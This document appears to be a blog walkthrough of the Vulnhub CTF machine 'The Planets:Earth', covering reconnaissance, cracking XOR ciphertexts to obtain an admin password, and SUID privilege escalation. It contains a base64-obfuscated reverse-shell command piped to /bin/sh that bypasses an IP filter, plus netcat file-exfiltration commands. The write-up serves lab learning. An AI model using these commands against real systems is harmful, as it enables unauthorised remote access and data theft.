The Planets:Earth Walkthrough

This is a walkthrough of the beginner-ish CTF machine “The Planets:Earth” on Vulnhub.

  ****Spoiler Alert****          ****Spoiler Alert****  

Shaking off a lot of cobwebs here, ok, obligatory nmap scan of Earth shows the following open ports:

Some notable items here are the two DNS names identified in the certificate under port 443 as Subject Alternative Names (SANs) as earth.local and terratest.earth.local. These need to be added to the /etc/hosts file for sure for additional testing of server header goodies.

Now, when browsing to https://earth.local it shows the following:

Browsing source doesn’t give us much so let’s try some other methods before diving into the chaos. Running a Nikto scan gives us some additional info:

Something I’ll add here, from reviewing some other walk-throughs I noticed that this site has a robots.txt listed, but Nikto doesn’t catch it, although it has the right plugin. So a reminder that it’s always a good idea to use automated tools..but still do manual checks..

So we have /admin/ from Nikto, and testingnotes.* from the robots file. Assuming there will be some authN under the /admin/ directory, so let’s see if we can get any hints from testingnotes.txt:

Ok, so we have 3 pieces of information here:

• We know that the main page with the funky codes is XOR encryption.
• We have another file (“testdata.txt”) to look at for clues.
• We have a username for the /admin/ page (“terra”).

Let’s look at that testdata.txt page:

Ok, that doesn’t tell us much in and of itself. So from these 3 things what do we know?

• An XOR function is being used.
• XOR functions require a key for decryption…or do they?

There are tools that can be used to brute force XOR encryption, and the Python xortool is one of them. Using it on one of the ciphertexts on the Secure Message page, and reviewing the output shows that the key used is “DUCKY”, which can be verified using the CyberChef tool. So we can start brute forcing the rest right? Wrong! Just as with passwords, longer strings are much harder to brute force, and these types of tools prove much less reliable. So what do we know now?

• We still have XOR ciphers that need to be cracked.
• What was that test data used for anyway?

So why not test the test data as a key for some of the ciphertext?
Well what do you know:

Looks like the hint here is “earthclimatechangebad4humans”. It looks like a password, it smells like a password, let’s try it on the /admin/ page.

So yeah, we’re presented with a remote command page. I went for the obvious reverse shell, and it looks like IP addresses are being filtered.

For pages like this, where commands are being restricted or filtered, it can be fun and interesting to find workarounds. In this case the workaround ended up being contstructing a reverse shell script in the /tmp directory, and base64 ended up being a great way to echo in the decoded IP address (bypassing the filter) with the following command: “base64 -d «< bmMgLW52IDE5Mi4xNjguNTYuMTAyIDgw | /bin/sh”

Once the reverse shell was setup I tried some of the usual checks, in /etc/passwd, shadow etc. I then checked for world-writable files:

The only directory that looks viable from here is /var/earth_web, so let’s take a look under here:

Looking under here we find our user flag!

So, first stage done and done. I didn’t see anything else of value under here, so let’s target root.
Looking for root processes didn’t show much, so let’s look for SUID binaries:

Looking at the list, “reset_root” stands out as a bit “strange”, so let’s take a closer look at it.

Well this is interesting. This is a SUID binary, so it will run as root, and reset the root password to “Earth”, but of course there’s a catch when trying to run it directly. There are preconditions (triggers) that have to be met. So we can find these by tracing out the binary using Ltrace.

First off, though we have to transfer reset_root to our machine, which we can do through easily enough through NetCat.

• First setup your listener directed to the binary file you want using nc -nlvp 80 > reset_root.
• Second, send the file from the target using nc -w 3 X.X.X.X 80 < reset_root.

Now that we have the binary locally, let’s run the trace and see what those triggers are:

Ok, so you can see 3 access attempts to files here, let’s create those files using the touch command and see if that will let us successfully rest the root password.

Nice! Let’s grab that flag!